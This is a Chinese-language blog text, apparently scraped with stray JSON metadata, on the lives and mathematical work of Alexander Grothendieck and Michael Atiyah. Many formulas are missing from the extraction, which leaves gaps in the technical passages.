在这段时间还面临着其他问题。他写道，自己正经历一种 “精神停滞”（spiritual stagnation）。他将主要精力从数学转向了政治抗议，尤其是反对核扩散。然而，与他在数学领域的卓越贡献相比，他的政治活动并未取得显著成效。 1970 年，Grothendieck 与另外两位数学家 Claude Chevalley 和皮埃尔・萨缪尔（Pierre Samuel, 1921-2009）共同创建一个政治团体，名为 “生存（Survivre）”，后来改名为 “生存与生活（Survivre et vivre）”。该团体出版了一份简报，致力于反军事和生态问题，同时对科学技术的滥用提出了尖锐批评。在接下来三年里，Grothendieck 全身心投入到这一团体的工作中，并担任该简报的主要编辑。这一时期，他的活动主要集中在社会和环境问题上，而非数学研究。 1973 年，他接受了蒙彼利埃大学的教授职位，教授研究生课程，并指导学生。他于 1973 年至 1980 年间住在靠近洛德夫（Lodeve）的维勒昆（Villecun），然后搬到靠近卡庞特拉（Carpentras）的莫尔穆瓦隆（Mormoiron）。1984 年至 1988 年间，他休假并在法国国家科学研究中心（CNRS）主持研究。他于 1988 年满 60 岁时退休。与他接受 1966 年菲尔兹奖不同，Grothendieck 在 1988 年拒绝接受克拉福德奖（Crafoord Prize）。 在 1980 年至 1990 年间，Grothendieck 写下了数千页手稿，其中部分包含他的数学思想，部分则是非数学的沉思。他的数学手稿包括《穿越伽罗瓦理论的漫长行程》（La longue marche à travers la théorie de Galois, 1981）、《stack 理论的追寻》（A la poursuite des champs, 1983）《一个计划的草图》（Esquisse d'un programme, 1983，他提出了 Anabelian geometry 的基础性想法，也是他写给 CNRS 的一个职位申请，并遭到拒绝，有人称之为 The best rejected proposal ever，proposal 里面提到了 Dessins d'enfants (Children's drawings) 的概念）以及《导子》（Les dérivateurs, 1987，致力于同伦论的基础研究，dérivateur 的概念最初在 poursuite des champs 中提出）。 他的非数学著作则包括《颂歌》（Eloge, 1981，但后来似乎遗失）、《收获与播种》（Récoltes et Semailles, 1983-1985）和《梦的钥匙》（La clef des songes, 1986）。 1991 年 8 月，Grothendieck 突然离家，未通知任何人，隐居至未知地点。在那里，他专注于撰写一部关于物理学的大型作品，以及关于自由意志、决定论和邪恶存在等主题的哲学沉思。他几乎断绝了所有人际交往。 此后，极少有人拜访他。据报道，当地村民在得知他试图以蒲公英汤为主食维生后，帮助他改善了饮食。有一段时间，莱拉・施内普斯（Leila Schneps，1961- ）和皮埃尔・洛沙克（Pierre Lochak，1957- ）找到了他的住处，并与他进行了短暂的通信，成为 “最后几位与他联系的数学界人士之一”。他去世后，人们得知他独居在阿列日省（Ariège）的小村庄拉塞尔（Lasserre）的一栋房子里。 2010 年 1 月，Grothendieck 致信 Luc Illusie，发表了一封题为《不再出版声明》（Déclaration d’intention de non-publication）的公开信。他声称所有未经他许可发表的作品均属擅自出版，并要求这些作品的复印件从图书馆中移除。他还将一个致力于研究他作品的网站称为 “一种可憎之物”。 2014 年 9 月，Grothendieck 几乎完全失聪且失明。他曾请求邻居为他购买一把左轮手枪，以便自我了断。同年 11 月 13 日，86 岁的 Grothendieck 在阿列日（Ariège）的医院中去世。 他以其超凡的创造力和深入的概念理解，彻底改变了 20 世纪数学的面貌。他不仅通过极高的抽象层次重塑了数学的研究方法，还提供了统一的框架，将代数几何、逻辑学和范畴论等不同领域联系起来，成为现代数学许多分支的基础。 他的贡献，不仅解决了许多长期未解的问题，还开辟了新的研究领域，塑造了当代数学的语言与结构。 他曾写道：“数学不仅是关于做困难的事情，更是关于提供框架，使困难的事情变得简单（从而为解决新的困难任务创造机会）。” 在他看来，数学不仅是一门科学，更是一种精神追求。他的名言 “（解决问题的途径在于）从黑暗中带出新的概念”，不仅激励着数学家，也为所有探索未知的人们指明了方向。 《Grothendieck 纪念文集》（The Grothendieck Festschrif）是为了庆祝 Gorthendieck 六十岁生日而出版的，首次出版于 1990 年。该文集中总结到：他改变了我们对许多数学分支的思考方式。他的许多创新思想在当时看似革命性，而今天看来却显得如此自然，仿佛是不可避免的。实际上，他对现代数学的巨大贡献对后来的数学家们产生深远的影响，难以完全衡量。Gorthendieck 的研究包括泛函分析、代数几何、代数拓扑、数论、表示论、K- 理论、范畴论和同调代数等。 贡献1、泛函分析1953 年，Grothendieck 发表了他在泛函分析方面的杰出成果：“Produits tensoriels topologiques et espaces nucleaires.” 即拓扑空间张量积和核（nuclear）空间。 Schwartz 建议 Grothendieck 在其博士论文中研究如下的问题：在两个局部凸空间 和 的张量积 上找到一个 “良好” 的拓扑。这个研究的背景是 Schwartz 当时正在开创矢量值分布（vector-valued distributions）理论的研究，其中最重要的研究对象是空间 ，其中 是测试函数空间，即 （即 上具有紧支撑的光滑实值函数空间， 上有诱导极限拓扑（inductive limit topology），这是一个 （Limit of Fréchet）空间的最基本的例子）， 是任意一个局部凸空间。对于这个空间 ，Schwartz 知道其上有一个 “良好” 的拓扑，特别的 可以看做这其中的稠密子空间，因此也诱导了一个相应的良好拓扑。但对于一般情况，Schwartz 并不知道是否有类似结论。 1953 年夏天，Grothendieck 在巴西度过，在 7 月底，他给 Schwartz 写了一封某种意义上令人失望的信：在 上存在两种自然的拓扑，它们一样自然，却又不同！对此，Schwartz 不知道该如何回应，因为这和他心中所想的例子不同。幸运的是，两周后，Grothendieck 寄来了一封令人振奋的信：对于 Schwartz 关心的情形，即在 上，这两种自然的拓扑竟然是一致的（并且与 Schwartz 所想的拓扑一致）！ Grothendieck 所发现的这两种自然拓扑，现如今被称为 projective topology 或者 - 拓扑和 injective topology 或 - 拓扑。 - 拓扑 是 上所有 “合理” 拓扑中最强的一种（在某种精确意义上），并且在自然的等同下使得 对所有局部凸空间 成立，其中 表示从 到 的所有连续双线性映射。 而 - 拓扑是 “合理” 拓扑中最弱的一种，在一些重要的算子类（classes of operators）的研究中具有重要意义。 Grothendieck 在他 300 多页的博士论文中进一步研究了这两种拓扑的性质，并且由此引出了 “Nuclear、integral and related operators” 的定义，解决了 Schwartz 和 Dieudonné 给他的问题。 2、代数几何Grothendieck 在被称为法国高等科学研究所（IHÉS）“黄金时代” 期间的工作，奠定了代数几何、数论、拓扑学、范畴论和复分析等多个领域的统一主题。 在加入 IHÉS 之前，他在代数几何中的第一个重要成果是 Grothendieck-Hirzebruch-Riemann-Roch theorem，它是 Riemann-Roch theorem 的一个代数化推广；在此背景下，他还引入了 - 理论。 随后，根据他在 1958 年国际数学家大会上提出的研究计划，他引入概形（schemes）理论，并在他著作《代数几何基础》（Éléments de géométrie algébrique, 简称 EGA）中详细发展这一理论，为代数几何提供更加灵活且普遍的基础，自那时起，这一体系便被该领域广泛采用。 Grothendieck 继续推进，他引入了概形的 étale 上同调理论，这是证明 Weil 猜想的重要工具。此外，他还提出了晶体上同调理论和代数化的 de Rham 上同调理论，与之形成互补关系。与这些上同调理论紧密相关，他创造了拓扑斯理论（topos theory），作为拓扑学的推广，并与范畴逻辑密切相关。他还通过范畴化的伽罗瓦理论给出了概形基本群的代数定义，开创了现在著名的 étale 基本群理论。 为了发展他的对偶理论，他引入了导出范畴（derived categories），这一理论后由他的学生维迪耶（Jean-Louis Verdier，1935-1989）进一步发展。 这些以及其他主题的研究成果发表在《代数几何基础》（EGA）中，以及他在 IHÉS 主持的代数几何研讨班笔记（Séminaire de géométrie algébrique，简称 SGA）中。这些工作不仅彻底革新了代数几何的理论体系，也为现代数学奠定了深远的基础。 3、K- 理论与 Grothendieck–Riemann–Roch 定理交错和（alternative sum）在 Riemann-Roch theorem 中自然的出现，为了进一步推广这一理论，Grothendieck 对一个代数簇 定义了以下群 （现在也叫 Grothendieck 群）：它是一个 “非常大” 的自由阿贝尔群，由凝聚层的同构类 生成，模掉以下关系：对于每一个正合列 ，我们有 。可以很容易的看出群满足以下泛性质（universal property）： 任意从 （由凝聚层的同构类生成的自由阿贝尔群）到任意一个阿贝尔群的映射 ，如果对于上述出现在正合列中的元素都满足 那么 都会从 穿过（factor through）。 利用 Grothendieck 群，Grothendieck 得以叙述 Grothendieck-Hirzebruch-Riemann-Roch theorem，也叫 relative Hirzebruch-Riemann-Roch theorem 或 Grothendieck-Riemann-Roch（GRR） 叙述为以下交换图成立： 其中 、 是经典 Riemann-Roch 中出现的函数，我们不写具体的定义， 是上同调群。该定理已被广泛应用于特征类的具体计算中。 Grothendieck 的 - 群推动了 - 理论的发展，这一理论由奎伦（Daniel Gray Quillen, 1940-2011）和许多其他数学家的工作进一步深化。值得注意的是， - 理论在数学的多个领域中扮演了重要角色，从微分算子的理论（如 Atiyah-Singer 定理）到模表示理论（如 Brauer 定理）。 4、Weil 猜想与 étale 上同调在 GRR 的成果之后，Grothendieck 被誉为 “代数几何的超级明星”，并受邀参加 1958 年爱丁堡的国际数学家大会。会上，他提出了研究计划，旨在定义正特征下的上同调理论以证明 Weil conjecture。这成为他在他的代数几何领域工作的主要动机，尤其是 1959 年加入 IHÉS 后。他在 IHÉS 发起了 “代数几何研讨班”（Séminaire de Géométrie Algébrique du Bois-Marie），使其成为代数几何的世界中心。 证明 Weil 猜想的关键是为正特征代数簇构造类似复数域上同调理论的工具。为此，Grothendieck 开发了 étale 上同调理论，并在此基础上定义了 -adic 上同调。该理论成为证明 Weil 猜想的核心工具。 Grothendieck 的 étale 上同调革命性地推广了拓扑概念。他通过非分歧覆盖构造 étale 拓扑，以范畴化的方式定义了拓扑斯（topos）。这一方法克服了经典拓扑在代数几何中的局限性，为证明 Weil 猜想奠定了基础。 在 Grothendieck 的框架下，他的学生（如 Deligne、Verdier 等）完善了理论细节。最终，Deligne 在 -adic 上同调的框架下完成了 Weil 猜想中函数域的黎曼猜想部分的证明，达成了 Grothendieck 的目标。 5、概型理论与可表函子概型是几何、交换代数和数论统一的对象。设 是一个集合， 是一个域，考虑 函数 构成一个环，其加法和乘法通过逐点方式定义。对于 ，定义 为 。 由于 是一个域，我们有 的 kernel 是 的一个极大理想，因此可以将 与 中所有极大理想的集合对应起来。特别的，我们将一个更简单的集合 替换为一个更复杂的对象，即 中所有极大理想的集合。 这一简单思想的变体最早出现在斯通（Marshall Harvey Stone, 1903-1989）关于布尔格（Boolean lattice）理论的研究中，也出现在盖尔范德（Israel Moiseevich Gelfand, 1913-2009）关于交换巴拿赫代数的论文中。在交换代数中，类似的思想首次被永田雅宜（Masayoshi Nagata, 1927-2008）和凯勒（Erich Kähler, 1906-2000）分别利用。在 20 世纪 50 年代晚期，许多巴黎的数学家（如 Henri Cartan、Chevalley、Weil 等）深入研究了代数闭域上代数簇概念的一般化。 Serre 展示了交换环的局部化操作在环的极大谱 上诱导了一个层，但映射 并非函子（极大理想的逆像不一定是极大理想）。另一方面， 的素理想 是一个函子。1957 年，卡地亚（Pierre Émile Cartier, 1932-2024）首次提出了以下观点：经典代数簇的适当推广是一个环层空间 ，它在局部上同构于 。这一对象被称为概型（scheme）。 Grothendieck 最初计划撰写一套 13 卷的代数几何课程《代数几何基础》（EGA），以概形理论为核心，并最终证明韦伊猜想。他和 Dieudonné 合作出版了其中 4 卷。然而，后来大部分材料出现在《代数几何研讨班》（SGA）的出版物中，SGA 是 IHÉS 举办的代数几何研讨班的成果记录。 Grothendieck 将范畴论的视角引入了几何世界：将几何对象视作函子。设 是范畴 中的一个对象。我们与其关联一个从 到集合范畴的逆变函子： 如果某个函子如 （由某个对象 给出），则称其为可表的。由 Yoneda 引理，该函子唯一决定了 的同构类。 Grothendieck 巧妙地利用了可表示函子的性质来构造各种代数几何中的参数空间。一个关键的例子是 Grassmannian，它参数化了给定射影空间中给定维度的线性子空间。一个很好的例子是 Grothendieck 证明希尔伯特函子 （参数化特定闭子簇，由 给出）可由一个概型（称为希尔伯特概型）表示，并且它是射影的。希尔伯特概型在构造很多问题的模空间时十分重要。"},{"title":"","date":"2026-05-18T05:07:00.000Z","updated":"2026-05-18T05:10:00.000Z","comments":true,"path":"notes/person/26.html","permalink":"https://blog.mhuig.top/notes/person/26","excerpt":"","text":"Atiyah Atiyah 生平迈克尔・弗朗西斯・阿蒂亚（Michael Francis Atiyah，1929–2019）是一位英国数学家，主要任职于 Oxford 大学和 Cambridge 大学，其研究工作深刻地重塑了二十世纪的几何学与拓扑学。 他最著名的成就是与 Isadore Singer 合作证明了 Atiyah‑Singer 指标定理，并与 Friedrich Hirzebruch 共同创立了拓扑 - 理论。 Atiyah 于 1929 年出生于伦敦，他的家庭背景本身就是文化交融的缩影。他的父亲爱德华・塞利姆・阿蒂亚（Edward Selim Atiyah，1903‑1964）是一位黎巴嫩裔的东正教徒，母亲让・莱文斯（Jean Levens）则是苏格兰人。 他的童年在苏丹的喀土穆（Khartoum）度过，并在那里接受了初等教育（1934‑1941）。 他的中学时代则是在埃及开罗和亚历山大的 Victoria College 度过的（1941–1945）。这所学校在当时是一个独特的国际中心，聚集了因第二次世界大战而流离失所的欧洲贵族后裔以及未来的阿拉伯国家领导人。 这种多元文化的成长环境，无疑在他思想深处播下了开放与包容的种子，使他天然地倾向于跨越边界、寻求联系，而非固守壁垒。 Atiyah 早年曾对化学产生浓厚兴趣，但他最终放弃了这条道路，因为他认为化学仅仅是 “一堆事实的罗列”。 相比之下，数学所蕴含的深刻概念与内在激情更能吸引他。这一早期的选择清晰地揭示了他追求概念性理解、而非机械记忆的智识品味，这种品味贯穿了他整个学术生涯。 为了备考 Cambridge，Atiyah 于 1945 年进入 Manchester Grammar School 学习，并于 1947–1949 年在英军皇家电气与机械工程军团服役。他于 1949 年正式进入 Cambridge 大学 Trinity 学院深造。他一入学便展露出非凡的才华，在第一学年的考试中名列全校第一。 作为本科生，Atiyah 对经典射影几何颇感兴趣，并在 1952 年发表首篇论文《关于扭曲立方切线的注记》（A note on the tangents of a twisted cubic）。 Atiyah 的博士生导师是威廉・瓦兰斯・道格拉斯・霍奇（William Vallance Douglas Hodge，1903‑1975），这一选择对他未来的学术道路产生了决定性影响。Hodge 的研究融合了微分几何与拓扑学，并积极采用新兴的层论（sheaf theory）工具。1954 年他因以层论方法研究直纹面（ruled surface）而获 Smith 奖，从而坚定继续从事数学而不是转向他另外感兴趣的建筑与考古。 Atiyah 于 1955 年完成博士论文《拓扑方法在代数几何中的一些应用》（Some applications of topological methods in algebraic geometry），核心内容是运用层论方法研究代数簇上的第二类积分理论，这项工作最终促成了他与导师 Hodge 的合作论文。这项早期研究不仅锻炼了他驾驭抽象理论的强大技术能力，也确立了他职业生涯的核心模式：运用一种全新的、更强大的数学语言来统一并解决经典问题。因为这项研究，他受邀前往普林斯顿高等研究院（IAS）访学一年。 在 IAS 期间，他完成了椭圆曲线上向量丛的分类：证明椭圆曲线上任意向量丛可分解为（本质唯一的）不可分解向量丛的直和，并进一步将给定度数且维数为正的不可分解向量丛的模空间与该椭圆曲线本身等同起来（Vector bundles over an elliptic curve，PLMS 1957）。 随后他研究复曲面的 double points，给出了三维代数簇中首个 flop 例子；flop 技巧后来在 Mori 的三维极小模型纲领（MMP）中发挥关键作用。 1955 年至 1956 年，Atiyah 在 IAS 的访问经历是他学术生涯的一个关键转折点。正是在这里，他遇到了三位将与他共同定义二十世纪几何学面貌的合作者：来自德国的赫策布鲁赫（Friedrich Ernst Peter Hirzebruch，1927‑2012）、美国的辛格（Isadore Manuel Singer，1924‑2021）和博特（Raoul Bott，1923‑2005）。 当时的 IAS 是世界数学的中心，充满了来自让‑皮埃尔・阿尔伯特・阿奇耶・塞尔（Jean‑Pierre Albert Achille Serre，1926‑）和亚历山大・格罗滕迪克（Alexander Grothendieck，1928‑2014）等欧洲数学大师的最新思想。这种顶尖的学术氛围成为催化剂，促使 Atiyah 的研究超越了其博士论文的范畴，迈向了全新的、革命性的方向。 Atiyah 与 Hirzebruch 的合作始于 1959 年，他们系统地发展了 - 理论，并发表了一系列奠基性的论文，展示了其在示性类计算、齐性空间研究以及各种可积性定理中的广泛应用。 1963 年 Atiyah 与 Singer 合作证明 Atiyah-Singer 指标定理，即对于紧致流形上的任意一个椭圆微分算子，其分析指标等于其拓扑指标。这一定理被公认为二十世纪数学最伟大的成就之一，它在分析学、几何学与拓扑学之间建立了一座前所未有的桥梁。 大约在 1966 年，Atiyah 与 Bott 合作证明了 Atiyah-Bott 不动点定理。对于一个流形上的自映射，该定理不仅能判断不动点的存在性，还能给出一个计算 Lefschetz - 数的公式。 这个公式将一个全局的拓扑量表示为在每个不动点处的局部贡献之和，具有十分广泛的应用。 事实上，在 1964 年的 AMS Woods Hole Conference in Algebraic Geometry 上，志村五郎（Gorō Shimura，1930-2019）猜想在复几何中有关于全纯（holomorphic）映射的 Lefschetz 不动点定理，当时在场的听众都很兴奋。 Atiyah 和 Bott 的工作可以看成是 Shimura 猜想的一个推广。 Shimura 猜想的一维情形由马丁・马克西米利安・埃米尔・艾希勒（Martin Maximilian Emil Eichler，1912-1992）完成。事实上，Shimura 猜测类似的不动点定理对 correspondence（更复杂的几何对象）成立，相关的想法也在一定程度上影响了 Eichler-Shimura 后续在数论中的合作。 Atiyah 的学术生涯遍布英美顶尖学府。他曾在 Cambridge 的 Pembroke College（1958–1961）和 Oxford 的 St Catherine’s College（1961–1963）任职，之后于 1963 年至 1969 年担任 Oxford 的 Savilian 几何教授。1969 年，他再次前往 IAS 担任教授，三年后返回 Oxford 成为英国皇家学会研究员。 1970 年代末，Atiyah 的学术兴趣发生了一次重要的转向，他开始密切关注理论物理，特别是规范场论（gauge theory）的发展。这次转向不仅为物理学带来了深刻的数学洞见，更出人意料地在低维拓扑学中引发了一场革命。这次转向的驱动力主要来自两方面： 一方面，他的老合作者 Singer 向他介绍了 Yang-Mills 方程，这一理论在物理学界正变得日益重要。 另一方面，当时罗杰・彭罗斯（Roger Penrose，1931- ）及其领导的研究小组也在 Oxford，他们之间的深入交流为 Atiyah 打开了通往物理世界的大门。 Atiyah、奈杰尔・詹姆斯・希钦（Nigel James Hitchin，1946- ）和 Singer 很快就意识到，他们手中的强大武器指标定理可以直接应用于规范场论中的一个核心问题：计算瞬子（instanton）模空间的维数。他们通过一次简单的指标定理计算，就得到了这个维数的精确公式。受到初步成功的鼓舞，Atiyah 深入研究了构造瞬子解的几何方法。 他创造性地运用了 Penrose 的扭量理论（twistor theory），与合作者发展了 对应，将求解 ASD Yang-Mills 方程这个困难的分析问题，转化为一个代数几何问题，即在所谓的扭量空间上寻找特定的全纯向量丛。 除了四维时空中的瞬子，Atiyah 还将这些思想应用于三维空间中的磁单极子（magnetic monopoles）问题。 Atiyah 在规范场论的许多想法，后续被他和 Nigel Hitchin 的学生 Simon Donaldson 进一步的实现，对低维拓扑学产生了重要的影响。 与此同时，Atiyah 也在拓扑量子场论（Topological quantum field theories, TQFT）上做出了重要贡献，主要的文章是 1988 年他在《拓扑量子场论》（Topological quantum field theories, IHÉS Publ. 68）中给出了 TQFT 的范畴论公理化构想。 但是其实早在 1970 年代，Atiyah 在规范场论（gauge theory）与拓扑的交汇处做出奠基性工作，除上述提及的共享外，还包括与约翰・戴维・斯图尔特・琼斯（John David Stuart Jones, 1949-）合作研究《Yang-Mills 理论的拓扑方面》（Topological aspects of Yang–Mills theory, 1978），以及讲义《Yang-Mills 场的几何》（Geometry of Yang–Mills Fields, 1979）等。 这一脉络帮助数学界理解 “场论量（field-theoretic quantities）如何产生拓扑不变量（topological invariants）”，为后来提出 TQFT 的公理化提供了思想土壤。 1984–1985 年，沃恩・弗雷德里克・兰德尔・琼斯（Vaughan Frederick Randal Jones, 1952–2020）（和上面的 John David Stuart Jones 没有直接关系）发现 Jones 多项式（Jones polynomial），激发了 “量子场论是否能统一地解释结与三维流形不变量” 的追问。 在这一背景下，Atiyah 于 1988 年发表《拓扑量子场论》（Topological quantum field theories, IHÉS Publ. 68），提出了如今标准的 Atiyah–Segal 公理： 把可定向配边范畴（oriented cobordism category）到有限维向量空间范畴的对称单张量函子（symmetric monoidal functor）作为有限维 TQFT 的定义。 后续，威腾（Edward Witten, 1951-）、尼古拉・莱舍提金（Nicolai Yuryevich Reshetikhin, 1958-）–图拉耶夫（Vladimir Georgievich Turaev, 1954-）、Baez–Dolan 等进一步在此基础上对 TQFT 做出了更进一步的贡献。 除了卓越的研究，Atiyah 还在科学界担任了多个领导职务。他曾任伦敦数学会主席（1974–1976）、皇家学会主席（1990–1995）、Cambridge 的 Trinity 学院院长（1990–1997）、Leicester 大学名誉校长（1995–2005）以及爱丁堡皇家学会主席（2005–2008），并于 1997–2002 年出任帕格沃什科学和世界事务会议（Pugwash Conferences on Science and World Affairs）主席。 他最重要的行政贡献之一是创办了 Cambridge 的牛顿数学科学研究所（Isaac Newton Institute for Mathematical Sciences）并担任其首任所长（1990–1996）。 Atiyah 一生荣誉等身，其中包括 1966 年的 Fields 奖、1988 年的 Copley 奖、1983 年被册封为爵士、1992 年获颁功绩勋章（Order of Merit），并于 2004 年与 Isadore Singer 共同获得 Abel 奖。 他的治学风格高度依赖合作与对话。他曾说自己的许多想法都产生于 “交谈的过程之中”。他不仅与同时代最顶尖的数学家进行平等合作，也以极大的热情和慷慨培养后辈。他以卓越的指导著称，门生遍布几何与拓扑诸领域。其中 唐纳森（Simon Kirwan Donaldson, 1957-）（与 Nigel Hitchin 共同培养）因四维流形拓扑的突破获 1986 年 Fields 奖、2020 年 Wolf 数学奖； Hitchin 因几何与物理的深刻贡献获 2016 年邵逸夫数学科学奖； 乔治・卢斯蒂格（George Lusztig，1946- ）因代数表示论的奠基性工作获 2014 年邵逸夫数学科学奖、2022 年 Wolf 数学奖、2025 年北京基础科学大会终身成就奖； 彼得・本尼迪克特・克朗海默（Peter Benedict Kronheimer，1963- ）因规范场论与低维拓扑的贡献获 2007 年 Veblen 奖。 Atiyah 对数学的统一性抱有深刻信念，他曾说：“代数学是魔鬼向数学家开出的条件。魔鬼说：‘我给你这台强大的机器，它会回答你感兴趣的任何问题。你所要做的就是给我你的灵魂：放弃几何学，你就会拥有这台奇妙的机器。’” 他也认为：“过去那些因物理而得到解决的数学问题，或由物理催生的技术，一直是数学的命脉。” 费曼（Richard Feynman，1918-1988）说：“若数学在一夜之间全部消失，物理大概会倒退一周左右。” 而 Atiyah 机智地回应说：“那一周就是上帝创造宇宙的那一周。” 1955 年 7 月 30 日，Atiyah 与莉莉（Lily Brown）结婚，育有三子 John、David 与 Robin。Lily 于 2018 年去世，享年 90 岁；Atiyah 于 2019 年 1 月 11 日逝世于 Edinburgh，享年 89 岁。他长期倡导理性与公共科学精神，亦为英国人文主义协会成员。 贡献一、拓扑 K- 理论（与 Hirzebruch 合作，1959-1974）Friedrich Hirzebruch 在著作《代数几何中的拓扑方法》（Topological methods in algebraic geometry, 1956）中推广了 Riemann–Roch 定理之后，1957 年，Grothendieck 将相关的结果推广到代数簇上，同时为了描述结果，Grothendieck 对任意（交换）环 ，引入了现在称为 Grothendieck 群的 ，构建了代数 - 理论的基础。 而 Atiyah 凭借其在层论（sheaf theory）和拓扑学方面的深厚背景，特别是对 Bott 周期性定理（Bott periodic theorem）的了解，在 1960 年左右，Atiyah 与 Hirzebruch 共同构建了拓扑 - 理论，后来系统地发展为拓扑学中的一个强大的广义上同调理论。 Grothendieck 群 Grothendieck 在 1957 年的文章中给出了 群的抽象定义，现在也称作 ： 给定一个环 ，其 Grothendieck 群 （简记为 ）是一个 Abel 群，由 上的所有投射模（projective modules）生成。同时利用 模上的短正合列（short exact sequences）定义其上的加法结构。 拓扑空间的 群 Atiyah 与 Hirzebruch 对于一个紧 Hausdorff 空间 ，其复 群 定义为 上复向量丛的同构类所构成的交换幺半群（运算为直和 ，单位为平凡零丛）的形式 Abel 群，其中加法由向量丛的正合序列（exact sequence）定义。 上还存在张量积 ，它在 上诱导乘法，使 成为交换环。 约化 - 理论（Reduced K-theory） 对于带基点的紧空间 ，约化 群定义为 等价地，它是稳定等价的向量丛类构成的群。两个丛 和 是稳定等价（stably equivalent）的，如果存在平凡丛 和 使得 。对连通的紧空间， 其中 由秩（rank）给出。 Bott 周期性定理 该定理是 K- 理论的核心。它断言存在一个自然的同构 其中 是 的二重悬挂（double suspension）。对紧空间 ，通常记 。利用悬挂与 Bott 周期性，可以定义奇数度的群 （其中 为约化悬挂）以及一般的 （ ）。我们有 拓扑 K- 理论的精妙之处在于，它将复杂的几何对象（向量丛）转化为了更易于计算和处理的代数对象（环）。由于 Bott 周期性定理的存在，它拥有了一个关键的优良性质：它是一个可计算的、具有周期性的广义上同调理论。这使得 K- 理论不仅是一种抽象的分类工具，更成为解决拓扑学中具体问题的强大武器。例如，Adams 通过实 K- 理论（ KO 群）给出了球面上线性无关向量场个数的最优上界，这是传统上同调方法难以企及的成就。 二、Atiyah-Singer 指标定理（与 Singer 合作，1963–1984）该定理被公认为二十世纪最伟大的数学成就之一，它在分析、几何与拓扑之间建立了一座深刻的桥梁。 定理陈述 设 为 维紧致光滑流形，、 为其上的复向量丛， 为 阶线性椭圆微分算子（更一般地也可取椭圆伪微分算子），其分析指标（analytical index）等于其拓扑指标（topological index）： 椭圆性（ellipticity）意味着其主符号（principal symbol） 在任意 时为同构，其中 为 处的余切向量。 分析指标 定义为 这是一个整数，但通常难以直接计算。 拓扑指标 这是一个纯粹由流形的拓扑性质决定的量，可以通过一个积分公式计算： 其中： 是陈特征（Chern character），对于一个曲率为 的复向量丛 ，其定义为 。 更一般地， 其中 是与球丛有关的 Thom 同构（ ）。 是 中的 “差元”，由 上的两个向量丛 与 及其在子空间 上的同构 所确定。 是 的复化切丛的 Todd 类（Todd class），其定义为 Atiyah-Singer 指标定理的意义远不止其本身，它统一并推广了数学中许多看似孤立的经典定理。著名的 Chern-Gauss-Bonnet 定理、Hirzebruch-Riemann-Roch 定理以及 Hirzebruch 符号差定理等，都可以被看作是指标定理在特定算子和特定流形下的特例。 指标定理的原始证明综合使用了 - 理论与配边理论（cobordism theory）等拓扑技巧与伪微分算子等分析技巧；随后出现热核（heat kernel）等方法。该理论后有许多推广，如族指标定理（families index theorem，1969–1971，Atiyah-Singer）、等变指标定理（equivariant index theorem，1968–1970，Atiyah–Segal、Berline–Vergne），以及带边流形的推广（1975–1976，Atiyah–Patodi–Singer）。指标定理由此成为分析、几何与拓扑之间的 “通用翻译器”。 三、Atiyah-Bott 不动点定理（与 Bott 合作，1967-1968）该定理是经典的 Lefschetz 不动点定理的一个深刻推广，适用于椭圆复形。设 为紧致光滑流形，给定一个椭圆复形 其中 是 上的复向量丛， 为一阶（或更一般椭圆伪微分）算子，使得复形的总符号是处处正合（exact）。 设 为光滑映射，且给定一组丛映射 在截面（section）层面有自然的拉回 ，使得在截面层面 与微分可交换： 这样 诱导了上同调群上的自同态 Lefschetz 数 定义 的 Lefschetz 数（Lefschetz number）为 定理 若 的不动点集合 由有限个点 组成，且在每个 处 可逆，则有 其中 是在 处纤维上诱导的 “超迹（supertrace）”，分母中的行列式是 在切空间 上的行列式，按所选取的定向计算。 这一定理在取 为 de Rham 复形、 为自然提升时，退化为经典的（实）Lefschetz 不动点公式。 该定理具有诸多应用和推广，如通过在旗流形 / 齐性空间上对 的作用取定点求和，Atiyah 和 Bott 给出 Weyl 特征标公式与 Borel–Weil–Bott 定理的简洁证明（Atiyah, M. F.; Bott, R. A Lefschetz fixed point formula for elliptic complexes. II. Applications, Annals of Mathematics (2) 88 (1968), 451–491）。 该定理为后续的等变局部化理论（Atiyah–Bott–Berline–Vergne 定理）与表示论、几何量子化中的固定点求和方法奠定了基础。 四、Atiyah-Segal 完备化定理（与 Graeme Segal 合作）该定理在等变 - 理论和表示论之间建立了联系。设 为紧李群， 为 -CW 复形。环 的增广理想（augmentation ideal）记为 。Borel 商写作 。等变 群 是 - 模，可对 做 - 进完备： 定理（Atiyah-Segal，1969） 由投影 诱导的映射，给出 pro-ring 的同构 当 为一个点，该定理给出 。 五、规范场论在 1970 年代末，Atiyah 的兴趣转向规范场论，这在数学和物理之间建立了新的桥梁。 受 Singer 和 Penrose 的影响，Atiyah、Hitchin 和 Singer 运用指标定理，给出了四维流形上 Yang-Mills 方程的瞬子模空间维数的精确公式。 定理（Atiyah–Hitchin–Singer, 1978） 设 为紧致有定向的黎曼 4 - 流形， 为紧李群， 为主 - 丛， 为 上一个不可约 ASD 联络。与 相关的形变复形为 若 （不可约）且 （正则点；对一般度量可通过横截性实现），则 ASD 模空间在 附近是光滑流形，其维数等于椭圆算子 的指标。 对 且 ，有 特别地， 时 ，故 通过与德林费尔德（Vladimir Gershonovich Drinfeld, 1954-）、Hitchin 和马宁（Yuri Ivanovich Manin, 1937-2023）的合作，他利用代数几何方法（即 ADHM 构造）给出了所有瞬子解的构造。取复向量空间 、 。 ADHM 数据是四元组 令 按 作用。 定义 “复动量映射” 和 “实动量映射” ADHM 方程即 、 。其解集对 的 hyper-Kähler 商记为 定理（ADHM, 1978） 设 ，则 带标架联络（）在上的等价类 该对应由 ADHM 算子 的核丛构造出秩 复向量丛及其联络，实现从代数数据到瞬子的构造；反向通过解析 — 代数对应（Twistor / Monad）复原 ADHM 数据。 Atiyah 与 Hitchin 在专著《磁单极子的几何与动力学》（The geometry and dynamics of magnetic monopoles, 1988）中研究了磁单极子，即 Bogomolny 方程 的有限能量解。固定磁荷 与无穷远标架，可形成带标架模空间 ，维数为 ，赋予自然的 度量；再去除整体平移 与整体相位 ，得到相对模空间 ，维数为 。对 ， 。 两个 单极子的相对模空间 上的 度量是一个完备的超 - Kähler（hyper-Kähler）度量；该 4 维 hyper-Kähler 流形（常称 “Atiyah–Hitchin 流形”）在无穷远处渐近于 Taub–NUT 度量的 商。 六、TQFT 的公理化1988 年，Atiyah 在《拓扑量子场论》（Topological quantum field theories, IHÉS Publ., 68）中给出了 TQFT 的范畴论公理化（常称为 Atiyah–Segal 公理）。他把 “从流形得到量子不变量” 的物理直觉形式化为 “从配边范畴（cobordism category）到有限维向量空间范畴的对称幺半函子（symmetric monoidal functor）”。 固定维数 与基域 （常取 ）。构造可定向配边范畴（oriented cobordism category） ： 对象（Objects）：闭、定向的 - 维光滑流形 。 